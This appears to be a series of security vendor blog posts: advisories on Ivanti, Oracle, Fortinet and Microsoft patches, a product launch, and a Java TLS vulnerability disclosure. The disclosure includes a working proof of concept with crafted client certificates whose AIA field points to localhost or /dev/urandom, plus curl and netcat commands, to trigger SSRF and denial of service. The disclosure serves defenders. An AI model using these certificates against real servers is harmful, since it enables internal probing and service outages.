According to Ivanti, both CVE-2026-1281 and CVE-2026-1340 were exploited as zero-days affecting “a very limited number of customers.” Because its investigation is ongoing, Ivanti has not yet provided any indicators of compromise in relation to these attacks.

Historical exploitation of Ivanti Endpoint Mobile Manager

Ivanti products in general are a popular target for a variety of attackers. EPMM in particular has been targeted in the past, and the Tenable Research Special Operations (RSO) team has authored several blogs about these vulnerabilities. The following table outlines some of the notable EPMM vulnerabilities over the last six years:

CVEDescriptionPublishedTenable BlogsCVE-2025-4428Ivanti Endpoint Manager Mobile Remote Code Execution VulnerabilityMay 2025CVE-2025-4427, CVE-2025-4428: Ivanti Endpoint Manager Mobile (EPMM) Remote Code ExecutionCVE-2025-4427Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityMay 2025CVE-2025-4427, CVE-2025-4428: Ivanti Endpoint Manager Mobile (EPMM) Remote Code ExecutionCVE-2023-35082Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityAugust 2025N/ACVE-2023-35081Ivanti Endpoint Manager Mobile Remote Arbitrary File Write VulnerabilityJuly 2025CVE-2023-35078: Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core Unauthenticated API Access VulnerabilityCVE-2023-35078Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityJuly 2025CVE-2023-35078: Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core Unauthenticated API Access VulnerabilityCVE-2020-15505MobileIron Core & Connector Remote Code Execution VulnerabilityOctober 2020CVE-2020-1472: Advanced Persistent Threat Actors Use Zerologon Vulnerability In Exploit Chain with Unpatched VulnerabilitiesProof of concept

At the time this blog was published on January 30, a public proof-of-concept (PoC) exploit was publicly available. We expect attackers will begin to leverage this PoC to conduct mass scanning and exploitation attempts against vulnerable devices.

Solution

Ivanti has released temporary updates that can be applied to address these vulnerabilities. According to the advisory, the RPMs supplied should be applied based on the installed version of EPMM. The RPMs will not survive a version upgrade, so if the version is updated, the RPM would need to be applied once again. However, the advisory further notes that an upcoming release, version 12.8.0.0, is expected to be released in Q1 2026., T and this version will include the permanent fix for these CVEs. Once version 12.8.0.0 is released and applied, the RPM scripts will no longer need to be applied.

Affected VersionRPM Patch Version12.5.0.0 and priorRPM 12.x.0.x12.5.1.0 and priorRPM 12.x.1.x12.6.0.0 and priorRPM 12.x.0.x12.6.1.0 and priorRPM 12.x.1.x12.7.0.0 and priorRPM 12.x.0.x

For more information on the patches, we strongly recommend reviewing the guidance in the security advisory from Ivanti.

Identifying affected systems

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages for CVE-2026-1281 and CVE-2026-1340 as they’re released. This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Ivanti devices by using the following subscription:

 Get more information

• Ivanti Security Advisory: Ivanti Endpoint Manager Mobile (EPMM) (CVE-2026-1281 & CVE-2026-1340)
• Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Continuously discover and monitor all AI usage across your organization, including shadow AI, agents, browser plug-ins, and more, with Tenable One AI Exposure. Map complex AI workflows to reveal high-impact exposures and monitor compliance with security and AI acceptable use policies.

Key takeaways

1. Now generally available in the Tenable One Exposure Management Platform, Tenable One AI Exposure gives security teams capabilities to monitor and secure AI-driven workflows. 
    
2. Map complex AI workflows to reveal how applications, infrastructure, identity, agents, and data combine to create high-impact exposure. 
    
3. Protect against AI-specific risks like prompt injection and jailbreak attempts while identifying sensitive data shared through AI prompts.

The rapid integration of AI across applications and infrastructure has outpaced the reach of traditional security oversight. As autonomous agents and cloud-based AI become central to the enterprise, security teams are struggling to manage a new class of risk that legacy tools were never designed to see — creating a critical AI exposure management gap.

Today, we are launching Tenable One AI Exposure to provide security teams with the capabilities needed to close that gap and mitigate AI security risks. Now generally available within the Tenable One Exposure Management Platform, these capabilities allow organizations to secure their AI-driven workflows without slowing innovation.

The AI exposure management gap explained

The AI exposure management gap refers to three challenges security teams face: whether they can see how employees are using AI, where it’s running, and how AI exposure accumulates across interconnected systems — both within and outside an organization.

AI exposure is hard to gauge for a variety of reasons. For one, it doesn’t look like traditional cyber risk. It doesn’t live in one system. It doesn’t announce itself as a vulnerability. And it doesn’t wait for attackers to exploit it before causing harm. AI security risks show up in:

• Employee-facing AI platforms like ChatGPT, Copilot, and embedded SaaS features
• Cloud-based AI services and model pipelines
• APIs, agents, and browser plug-ins
• Public-facing applications and services

Much of this adoption happens outside traditional security workflows. Shadow AI deployments, forgotten test environments, unsafe integrations, and over-permissioned services quietly expand the attack surface, often without security teams realizing they exist.

At the same time, AI workloads rely on complex chains of infrastructure, identities, APIs, and data access. A single misconfiguration or overly broad permission can turn routine AI usage into a high-impact exposure.

Because AI interactions happen constantly through prompts, uploads, responses, and automated actions, even approved use can unintentionally expose sensitive data without the right visibility and guardrails in place.

Finally, AI exposure rarely appears as a single alert or vulnerable asset. Instead, it emerges through connections. For example:

• An employee uses an approved third-party tool
• That tool invokes an internal AI service or agent
• The agent has access to sensitive data or systems
• A misconfiguration or exposed endpoint makes that access reachable

Individually, each component may appear benign. Together, they create real risk.

Traditional security tools tend to look at these elements in isolation: cloud posture here, identity permissions there, application risk somewhere else. Without a way to connect these signals, security teams are left reacting to symptoms instead of managing exposure.

Introducing Tenable One AI Exposure

Tenable One AI Exposure helps teams close this visibility gap by continuously discovering, contextualizing, and prioritizing AI-related exposure across your organization — internal and external, on-premises and cloud — to deliver a complete, risk-aware view of where AI operates, its connections, and where it creates exposure. 

Unlike point AI cybersecurity tools that surface isolated findings, Tenable One connects the entire activity chain in a single view, showing how AI applications, infrastructure, identity, agents, and data combine to create real risk. By correlating these relationships, Tenable One helps your security teams prioritize the AI exposures that matter most to reduce AI security risks across all environments.

How Tenable One helps secure the AI attack surfaceDiscover AI across your organization

You can’t manage AI risk if you don’t know where AI exists.

Tenable One continuously discovers AI usage across internal environments and the external attack surface, helping teams eliminate blind spots and maintain an up-to-date understanding of their AI footprint. This includes visibility into sanctioned and shadow AI across applications, endpoints, cloud workloads, APIs, agents, and publicly exposed services.

Security teams can see where AI services are running, which technologies are in use, and how external exposure aligns with internal awareness.
 

Source: Tenable, January 2026 Understand how AI creates exposure

Discovery alone isn’t enough. AI risk emerges from how systems interact.

Tenable One maps AI workflows across cloud platforms and services, revealing how AI models, infrastructure, storage, networking, and access controls work together. It highlights vulnerabilities and misconfigurations in AI-related software and cloud resources while providing context about what data and systems those components can reach.

By connecting AI infrastructure with identity and access paths, teams gain clarity into where exposure is actually created, not just where AI exists.
 

Source: Tenable, January 2026

 

Protect AI workloads, services, and access

Reducing AI risk means closing the gaps attackers exploit. 

Tenable One helps teams identify and remediate risky configurations in AI workloads and model environments before they can be abused. It also surfaces excessive permissions and identity weaknesses tied to AI services and agents, enabling teams to enforce least-privilege access and reduce attack paths that put critical AI resources at risk.

This identity-driven exposure insight helps security teams focus on the combinations of weaknesses that matter most.

Govern AI usage and data flow

AI adoption doesn’t have to come at the cost of security or compliance.

Tenable One provides visibility into how employees and agents interact with AI platforms, including tools like ChatGPT, Copilot, and embedded generative AI features. It also shows how data flows through those interactions. Teams can identify sensitive data shared through prompts or uploads, enforce AI acceptable use policies, and apply guardrails that guide users toward safer AI behavior. 

The platform also detects AI-specific threats and misuse, such as prompt injection and jailbreak attempts, and provides high-fidelity context to support fast, confident response.
 

Source: Tenable, January 2026

 

Secure AI adoption without slowing innovation

AI doesn’t have to be your biggest blind spot, and security doesn’t have to be the brake on innovation. With Tenable One AI Exposure, organizations can move forward confidently, knowing they have a proactive, pre-breach approach to managing AI risk across the entire attack surface. 

New to Tenable? Request a Tenable One AI Exposure demo today.

Existing customer? Reach out to your account team to expand your Tenable One coverage to include AI Exposure.

Oracle addresses 158 CVEs in its first quarterly update of 2026 with 337 patches, including 27 critical updates.

Key takeaways:

1. The first Critical Patch Update (CPU) for 2026, contains fixes for 158 unique CVEs in 337 security updates.
    
2. 27 issues (8% of all patches) were assigned a critical severity rating. 
    
3. CVE-2026-21945, a high severity Server-Side Request Forgery (SSRF) vulnerability in Oracle Java was discovered by Tenable Research.

Background

On January 20, Oracle released its Critical Patch Update (CPU) for January 2026, the first quarterly update of 2026. This CPU contains fixes for 158 unique CVEs in 337 security updates across 30 Oracle product families. Out of the 337 security updates published this quarter, 8% of patches were assigned a critical severity. High severity patches accounted for the bulk of security patches at 45.7%, followed by medium severity patches at 42.4%.

This quarter’s update includes 27 critical patches across 13 CVEs.

SeverityIssues PatchedCVEsCritical2713High15467Medium14369Low139Total337158Analysis

This quarter, the Oracle Zero Data Loss Recovery Appliance product family contained the highest number of patches at 56, accounting for 16.6% of the total patches, followed by Oracle Enterprise Manager at 51 patches, which accounted for 15.1% of the total patches.

A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication.

Oracle Product FamilyNumber of PatchesRemote Exploit without AuthOracle Zero Data Loss Recovery Appliance5634Oracle Enterprise Manager5147Oracle E-Business Suite3833Oracle Java SE207Oracle MySQL1410Oracle PeopleSoft1411Oracle Systems141Oracle HealthCare Applications1210Oracle JD Edwards1210Oracle Hospitality Applications1111Oracle Retail Applications108Oracle Commerce87Oracle Communications82Oracle Financial Services Applications86Oracle Database Server72Oracle TimesTen In-Memory Database76Oracle Hyperion75Oracle Analytics66Oracle GoldenGate53Oracle Fusion Middleware53Oracle Siebel CRM51Oracle Supply Chain54Oracle Construction and Engineering44Oracle Health Sciences Applications44Oracle APEX10Oracle Essbase11Oracle Graph Server and Client10Oracle Key Vault10Oracle NoSQL Database11Oracle Secure Backup11

Tenable Research discovery

As part of the January CPU, Oracle addressed CVE-2026-21945, a high severity Server-Side Request Forgery (SSRF) vulnerability in Oracle Java that is remotely exploitable without authentication. When successfully exploited, it can be leveraged to exhaust resources, causing a denial-of-service (DoS) condition. You can read more about the discovery in our blog post and in our Tenable Research Advisory (TRA).

Solution

Customers are advised to apply all relevant patches in this quarter’s CPU. Please refer to the January 2026 advisory for full details.

Identifying affected systems

A list of Tenable plugins to identify these vulnerabilities will appear here as they’re released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released.

Get more information

• Tenable Blog: Tenable Discovers SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
• Tenable Research Advisory: TRA-2026-03
• Oracle Critical Patch Update Advisory - January 2026
• Oracle January 2026 Critical Patch Update Risk Matrices
• Oracle Advisory to CVE Map

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Research has discovered a server-side request forgery (SSRF) vulnerability in Java’s handling of client certificates during a TLS handshake. In certain configurations, this can be abused to cause a denial-of-service (DoS) condition.

Key takeaways

1. Tenable Research identified a vulnerability in Java’s TLS handshake process where malicious client certificates using the AIA extension can trigger Server-Side Request Forgery (SSRF) and Denial of Service (DoS) attacks.
    
2. The exploit demonstrates that client certificates in mTLS configurations effectively function as user input and must be validated strictly to prevent servers from accessing malicious or resource-exhausting URIs.
    
3. Oracle addressed this vulnerability (CVE-2026-21945) in the January 2026 Critical Patch Update, necessitating immediate updates for Java environments using mTLS and AIA fetching.

Transport Layer Security (TLS) protocol is key for secure internet communication. It works together with public key infrastructure (PKI) to provide confidentiality and authentication. One of the key components of TLS are client certificates. Client certificates used in a TLS handshake effectively become a user input, which might be malicious just like any other user input. Input validation is at least as important on the protocol level, as it is on the application level.

With this background in mind, Tenable Research investigated and discovered a server-side request forgery (SSRF) vulnerability in Java’s handling of client certificates during a TLS handshake. In certain configurations, this can be abused to cause a denial-of-service (DoS) condition.

Oracle fixed this vulnerability in its January 2026 Critical Patch Update.

Before we discuss the discovered vulnerability, we first need to examine the relevant standards and protocols.

An intro to TLS, PKI and X.509

TLS is a protocol commonly used to protect client-server traffic in multiple scenarios. It is best known for its use with web servers and web browsers.  TLS is based on the older Secure Sockets Layer (SSL) protocol.

Security properties offered by TLS are based on a set of cryptographic primitives — the individual algorithms which are put to work together in order to implement the entire cryptographic protocol. For all this to work end-to-end, PKI is needed. In this post, we will focus on PKI’s certificate chains.

A typical certificate chain consists of a root certificate, an intermediate certificate, and a leaf (or end-entity) certificate. There might be more than one intermediate certificate in a chain, although for simplicity we can assume there is just one, as it doesn’t change much on a conceptual level. Similarly, the leaf certificate technically could be issued without any intermediate certificates, although this is not what usually happens in practice. A sample certificate chain for a TLS server leaf certificate is shown below:

In the above example, a certificate owned by a root certificate authority (CA) was used to issue a certificate of an intermediate CA, which in turn was used to issue an end-entity TLS server certificate. Please note that this is a simplified explanation, as in fact the corresponding private keys are also being used in the process.

The aforementioned certificates are often referred to as SSL or TLS certificates. However, technically speaking, these are X.509 certificates. These certificates are digital documents which contain the public key belonging to the certificate subject, misc. information related to the subject, the issuing CA, or the certificate itself, and a digital signature.

A TLS client willing to establish a secure communication with a TLS server will verify the validity of the certificate chain presented by the server as part of the TLS handshake. The handshake is the part of the process that needs to happen before the data can start flowing.

During the handshake, the server will typically send to the client not only its leaf certificate, but also the intermediate CA certificate. The client can then build and validate the certificate path from the leaf certificate all the way up to the trusted root CA certificate.

Typically the root CA certificate is not sent by the server during the handshake. The client is expected to be configured with a list of certificates it intends to trust, including the relevant root CA certificate. If the certificate path does not lead to a certificate the client is willing to trust, the server normally will not be trusted, and the handshake will be aborted.

A web server configured to use an X.509 certificate to serve content over HTTPS is an example of a TLS server. A web browser accessing such a server over HTTPS is an example of a TLS client.

X.509 AIA CA Issuers

What if the TLS server is configured to present only its leaf certificate without the intermediate CA certificate? Typically that would mean the TLS client would not be able to build and validate the certificate path, and as a result would not be able to establish a secure connection with the TLS server.

However, this is not the only possible outcome. The leaf certificate presented to the client may contain the Authority Information Access (AIA) extension with the information found in the AIA field called CA Issuers. It would point at the location from where an interested party – the TLS client in this case – can obtain the parent (intermediate CA) certificate.

Example of an AIA extension from a real-life X.509 certificate is shown below:

openssl x509 -noout -text -in letsencrypt-org.pem  ... X509v3 extensions: ... Authority Information Access:  CA Issuers - URI:http://e8.i.lencr.org/ ...

It is worth mentioning that the AIA extension, in addition to the CA Issuers, may also contain the Online Certificate Status Protocol (OCSP) information which can be used for certificate revocation checks. However, it won’t be relevant for the purpose of this post. You can find more information about AIA extension in RFC 5280, section 4.2.2.1.

If a TLS client which supports AIA CA Issuers receives only the leaf certificate containing AIA CA Issuers information from the server, it may download the missing intermediate CA certificate and reconstruct the incomplete chain instead of aborting the TLS handshake. Such a scenario is shown below:

It is important to note that in the above scenario the TLS client cannot validate the TLS server certificate before obtaining the intermediate CA certificate from the location indicated by the AIA extension CA Issuers information.

Here’s a high-level overview of the steps involved in the server authentication:

• The TLS client initiates a TLS handshake with the TLS server.
• The TLS server responds with its leaf certificate, but without the intermediate CA certificate. However, the leaf certificate contains AIA extension with CA Issuers information.
• The TLS client cannot validate the TLS server certificate at this stage, and attempts to download the intermediate CA certificate from the location indicated by AIA CA Issuers in the leaf certificate.
• If the download is successful, the TLS client can attempt to reconstruct and validate the certificate path.

mTLS and AIA CA Issuers

In a typical TLS example, it is the TLS server that authenticates itself to the TLS client. However, a TLS server can request that the TLS client authenticate itself too. That’s called mutual TLS (mTLS). mTLS is a less commonly deployed option, although it depends on context. You wouldn’t expect all the internet websites you visit using your web browser to require your browser to present a client certificate chain. However, client authentication might be used extensively in other contexts, such as secure communication between web services. During an mTLS handshake, it is both the server and the client that send their corresponding certificate chains, and both build and validate the certificate paths from their peer leaf certificate all the way up to a certificate they trust.

What is interesting about mTLS from the security point of view is not only that it is a way to enable client authentication, but it also changes how we need to think about the security properties of the system. A TLS client can now present a certificate chain, which the server will need to act upon. That certificate chain now becomes a user input, which might be malicious just like any other user input.

What happens if the TLS server supports AIA CA Issuers (again, not all of them do), and the client sends a certificate with AIA CA Issuers information, with no intermediate CA certificate?

Let’s consider the high-level steps involved in the client authentication process in such a case:

• The TLS client initiates a TLS handshake with the TLS server.
• The TLS server responds with its certificate chain and requests a certificate from the client.
• The TLS client responds with its leaf certificate, but without the intermediate CA certificate. However, the leaf certificate contains AIA CA Issuers information.
• The TLS server cannot validate the TLS client certificate at this stage, and attempts to download the intermediate CA certificate from the location indicated by AIA CA Issuers in the leaf certificate.
• If the download is successful, the TLS server can attempt to reconstruct and validate the certificate path.

This effectively constitutes an inversion to some parts of the logic. Such a scenario is shown below:

If you think that the above scenario could potentially result in an SSRF vulnerability, you are not alone.

Proof of concept application

Below is a simple Java application:

public class Server { public static void main(String[] args) throws Exception { String keystore = "keystore.p12"; String truststore = "truststore.p12"; char[] keystorePass = "password".toCharArray(); char[] truststorePass = "password".toCharArray(); int port = 8444; KeyManagerFactory kmf = getKeyManagerFactory(keystore, keystorePass); TrustManagerFactory tmf = getTrustManagerFactory(truststore, truststorePass); SSLContext sslContext = getSSLContext(kmf, tmf); HttpsServer server = HttpsServer.create(new InetSocketAddress(port), 0); server.setHttpsConfigurator(new HttpsConfigurator(sslContext) { @Override public void configure(HttpsParameters params) { SSLParameters sslParams = getSSLContext().getDefaultSSLParameters(); sslParams.setNeedClientAuth(true); params.setSSLParameters(sslParams); } }); server.createContext("/", handler -> { Certificate[] peerCerts = ((HttpsExchange) handler).getSSLSession().getPeerCertificates(); X509Certificate peerLeafCert = (X509Certificate) peerCerts[0]; String peerLeafCertSubject = peerLeafCert.getSubjectX500Principal().toString(); System.out.println(peerLeafCertSubject); String resp = "response\n"; handler.sendResponseHeaders(200, resp.length()); try (OutputStream os = handler.getResponseBody()) { os.write(resp.getBytes()); } }); System.out.println("Starting server on port: " + port); new Thread(server::start).start(); } private static SSLContext getSSLContext(KeyManagerFactory kmf, TrustManagerFactory tmf) throws Exception { SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); return sslContext; } private static KeyManagerFactory getKeyManagerFactory(String keystore, char[] password) throws Exception { KeyStore ks = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(keystore)) { ks.load(fis, password); } KeyManagerFactory kmf = KeyManagerFactory.getInstance("PKIX"); kmf.init(ks, password); return kmf; } private static TrustManagerFactory getTrustManagerFactory(String truststore, char[] password) throws Exception { KeyStore ts = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(truststore)) { ts.load(fis, password); } TrustManagerFactory tmf = TrustManagerFactory.getInstance("PKIX"); tmf.init(ts); return tmf; } }

This Java application is a basic HTTPS server with client authentication enabled. It requires PKCS12 keystore and truststore files. PKCS12 is a file format commonly used for storing X.509 certificates and the corresponding keys. The keystore contains the server certificate and the corresponding private key, while the truststore contains the root CA certificate the server is expected to trust. Certain aspects of the application have been simplified for brevity. Imports and the associated pom.xml file have been omitted. It is assumed that the application has been packaged as java-server.jar.

Proof of concept

Java version 21.0.9 will be used for this proof of concept. Other versions may be vulnerable too, but we have not validated additional versions.

Let’s start the application. In this case it will be running on Linux:

java -Djava.security.debug=certpath -Dcom.sun.security.enableAIAcaIssuers=true -Dhttp.agent="AIA CA Issuers PoC" -jar java-server.jar

Linux is a Unix-like operating system. It will be relevant for the case that we will demonstrate later. Please note the parameters being used, in particular -Dcom.sun.security.enableAIAcaIssuers=true, which enables support for AIA CA Issuers.

DNS resolution has been configured on a separate client machine through /etc/hosts to resolve mtls-server to the machine where the sample application is running. It is curl that will be acting as the TLS client in this case.

In the first example, the client will use a non-malicious X.509 certificate without AIA CA Issuers information, which will be trusted by the server:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-key.pem --cert client-cert.pem HTTP/1.1 200 OK ...

In this example, the server responded as expected.

Now, let’s assume the client will use an X.509 certificate with the following AIA CA Issuers information:

openssl x509 -noout -text -in client-aia-localhost-cert.pem ... Authority Information Access:  CA Issuers - URI:http://localhost:8080 ...

Before making the request, let’s start a netcat server on port 8080 on the same host where the sample Java application is running:

nc -l 8080 -k

netcat is a popular command line utility for working with network connections.

In the below example, curl is configured to send the aforementioned client certificate with AIA CA Issuers information pointing at port 8080 on localhost, accessed over HTTP. For the TLS server receiving this certificate during a TLS handshake, localhost will resolve to the host the server is running on.

Client request:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-localhost-cert.pem

Application logs:

... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:http://localhost:8080 certpath: Exception fetching certificates: java.net.SocketTimeoutException: Read timed out ...

netcat logs:

GET / HTTP/1.1 User-Agent: AIA CA Issuers PoC Java/21.0.9 Host: localhost:8080 Accept: */* Connection: keep-alive

This confirms the server reached out to the CA Issuers location indicated in the AIA extension. The request timed out as expected, as netcat did not respond. Please note the User-Agent HTTP request header logged by netcat includes the string defined using the -Dhttp.agent parameter when starting the sample application earlier.

While this might have several potential implications, we will focus on one particular case.

Let’s restart the sample application and assume the client will now use another X.509 certificate with the following AIA CA Issuers information:

openssl x509 -noout -text -in client-aia-random-cert.pem ... Authority Information Access:  CA Issuers - URI:file:///dev/urandom ...

In this case the CA Issuers contains a file URI, pointing at /dev/urandom. On Unix-like systems, /dev/random and /dev/urandom are special files which provide access to a random number generator. While the exact implementation might differ between particular operating systems and their versions, reading from either of these files should result in reading randomly generated bytes.

Client request:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-random-cert.pem

Application logs:

... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:file:///dev/urandom certpath: Downloading new certificates... ...

The client may disconnect at this stage. The server keeps running, keeping a single CPU core busy while attempting to read random bytes:

Tenable Research, January 2026

The sample application will not respond to a subsequently submitted non-malicious request.

The sample application carries on consuming CPU, while not being able to serve the subsequent requests, resulting in a DoS condition.

Closing thoughts

Tenable disclosed this vulnerability to Oracle in September 2025. Oracle has issued a patch as part of its January 2026 Critical Patch Updates (CPU) and assigned CVE-2026-21945. Tenable has issued an advisory under TRA-2026-03. A Tenable plugin to identify this vulnerability will appear here as soon as it’s released.

If you operate a Java-based tech stack and the feature discussed in this post is relevant to your deployments, you should consider applying the patches immediately to prevent potential attacks. Generally speaking, it is important to follow cyber-hygeine best practices: apply software patches as soon as possible, review and disable unused features, and monitor for suspicious activity (e.g. unusual network connections, utilization increases) on your network.

 

Exploit code has been published for CVE-2025-64155, a critical command injection vulnerability affecting Fortinet FortiSIEM devices.

Key takeaways:

1. CVE-2025-64155 is a critical operating system (OS) command injection vulnerability affecting Fortinet FortiSIEM.
    
2. Fortinet vulnerabilities have historically been common targets for cyber attackers, with 23 Fortinet CVEs currently on the CISA KEV list.
    
3. Public exploit code has been released, increasing the likelihood that CVE-2025-64155 could be exploited by attackers.

Background

On January 13, Fortinet published a security advisory (FG-IR-25-772) for CVE-2025-64155, a critical command injection vulnerability affecting Fortinet FortiSIEM.

CVEDescriptionCVSSv3CVE-2025-64155Fortinet FortiSIEM Command Injection Vulnerability9.4Analysis

CVE-2025-64155 is a critical operating system (OS) command injection vulnerability affecting Fortinet FortiSIEM. A remote, unauthenticated attacker can exploit this flaw to execute arbitrary code using specially crafted requests.

Historical Exploitation of Fortinet Devices

Fortinet vulnerabilities have historically been common targets for cyber attackers, with 23 Fortinet CVEs currently on the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) list. At the time this blog was published on January 14, CVE-2025-64155 had not been added to the KEV, however we anticipate that it is likely to be added in the near future.

As Fortinet devices have been popular targets for attackers, the Tenable Research Special Operations Team (RSO) has authored several blogs about vulnerabilities affecting these devices. The following table outlines some of the most impactful Fortinet vulnerabilities in recent years.

CVEDescriptionPublishedTenable BlogCVE-2025-64446Fortinet FortiWeb Path Traversal VulnerabilityNovember 2025CVE-2025-64446: Fortinet FortiWeb Zero-Day Path Traversal Vulnerability Exploited in the WildCVE-2025-25256Fortinet FortiSIEM Command Injection VulnerabilityAugust 2025CVE-2025-25256: Proof of Concept Released for Critical Fortinet FortiSIEM Command Injection VulnerabilityCVE-2025-32756Fortinet FortiVoice, FortiMail, FortiNDR, FortiRecorder and FortiCamera Arbitrary Code Execution VulnerabilityMay 2025CVE-2025-32756: Zero-Day Vulnerability in Multiple Fortinet Products Exploited in the WildCVE-2024-55591Fortinet Authentication Bypass in FortiOS and FortiProxyJanuary 2025CVE-2024-55591: Fortinet Authentication Bypass Zero-Day Vulnerability Exploited in the WildCVE-2024-21762Fortinet FortiOS Out-of-bound Write Vulnerability in sslvpndFebruary 2024CVE-2024-21762: Critical Fortinet FortiOS Out-of-Bound Write SSL VPN VulnerabilityCVE-2023-27997FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityJune 2023CVE-2023-27997: Heap-Based Buffer Overflow in Fortinet FortiOS and FortiProxy SSL-VPN (XORtigate)CVE-2022-42475FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityDecember 2022CVE-2022-42475: Fortinet Patches Zero Day in FortiOS SSL VPNsAA23-250A: Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475CVE-2022-40684FortiOS and FortiProxy Authentication Bypass VulnerabilityOctober 2022CVE-2022-40684: Critical Authentication Bypass in FortiOS and FortiProxyProof of concept

On January 13, in coordination with the release of the advisory by Fortinet, researchers at Horizon3.ai published a technical writeup as well as a proof of concept for CVE-2025-64155. While there has been no reports of in-the-wild exploitation, we anticipate that attackers will quickly incorporate this exploit into their attacks.

Solution

The following table details the affected and fixed versions of Fortinet FortiSIEM devices for CVE-2025-64155:

Product VersionAffected RangeFixed VersionFortiSIEM 6.76.7.0 through 6.7.10Migrate to a fixed releaseFortiSIEM 7.07.0.0 through 7.0.4Migrate to a fixed releaseFortiSIEM 7.17.1.0 through 7.1.87.1.9 or aboveFortiSIEM 7.27.2.0 through 7.2.67.2.7 or aboveFortiSIEM 7.37.3.0 through 7.3.47.3.5 or aboveFortiSIEM 7.47.4.07.4.1 or aboveFortiSIEM 7.5Not affected-FortiSIEM CloudNot affected-

Fortinet’s security advisory advises if immediate patching is not able to be performed, they recommend limiting access to the phMonitor port of 7900. We strongly recommend reviewing the advisory for updates as well as the latest on mitigation recommendations.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-64155 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Fortinet devices by using the following subscription:

 Get more information

• Fortinet FG-IR-25-772 Security Advisory
• Horizon3.AI Technical Writeup

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

1. 8Critical
2. 105Important
3. 0Moderate
4. 0Low

Microsoft addresses 113 CVEs in the first Patch Tuesday of 2026, with two zero-days, including one that was exploited in the wild.

Microsoft patched 113 CVEs in its January 2026 Patch Tuesday release, with eight rated critical and 105 rated as important. Our counts omitted one CVE that was assigned by MITRE, CVE-2023-31096.

This month’s update includes patches for:

• Azure Connected Machine Agent
• Azure Core shared client library for Python
• Capability Access Management Service (camsvc)
• Connected Devices Platform Service (Cdpsvc)
• Desktop Window Manager
• Dynamic Root of Trust for Measurement (DRTM)
• Graphics Kernel
• Host Process for Windows Tasks
• Inbox COM Objects
• Microsoft Graphics Component
• Microsoft Office
• Microsoft Office Excel
• Microsoft Office SharePoint
• Microsoft Office Word
• Printer Association Object
• SQL Server
• Tablet Windows User Interface (TWINUI) Subsystem
• Windows Admin Center
• Windows Ancillary Function Driver for WinSock
• Windows Client-Side Caching (CSC) Service
• Windows Clipboard Server
• Windows Cloud Files Mini Filter Driver
• Windows Common Log File System Driver
• Windows DWM
• Windows Deployment Services
• Windows Error Reporting
• Windows File Explorer
• Windows HTTP.sys
• Windows Hello
• Windows Hyper-V
• Windows Installer
• Windows Internet Connection Sharing (ICS)
• Windows Kerberos
• Windows Kernel
• Windows Kernel Memory
• Windows Kernel-Mode Drivers
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Local Security Authority Subsystem Service (LSASS)
• Windows Local Session Manager (LSM)
• Windows Management Services
• Windows Media
• Windows NDIS
• Windows NTFS
• Windows NTLM
• Windows Remote Assistance
• Windows Remote Procedure Call
• Windows Remote Procedure Call Interface Definition Language (IDL)
• Windows Routing and Remote Access Service (RRAS)
• Windows SMB Server
• Windows Secure Boot
• Windows Server Update Service
• Windows Shell
• Windows TPM
• Windows Telephony Service
• Windows Virtualization-Based Security (VBS) Enclave
• Windows WalletService
• Windows Win32K - ICOMP

Elevation of privilege (EoP) vulnerabilities accounted for 49.6% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 19.5%.

ImportantCVE-2026-20805 | Desktop Window Manager Information Disclosure Vulnerability

CVE-2026-20805 is an information disclosure vulnerability affecting Desktop Window Manager. It was assigned a CVSSv3 score of 5.5 and was rated as important. Successful exploitation allows an authenticated attacker to access sensitive data. According to Microsoft, this vulnerability was exploited in the wild as a zero-day.

Additionally, Microsoft patched another Desktop Window Manager vulnerability this month. CVE-2026-20871 is an EoP vulnerability that was assigned a CVSSv3 score of 7.8 and was rated as important. Contrary to CVE-2026-20805, CVE-2026-20871 was not exploited in the wild, although it was assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

ImportantCVE-2026-21265 | Secure Boot Certificate Expiration Security Feature Bypass Vulnerability

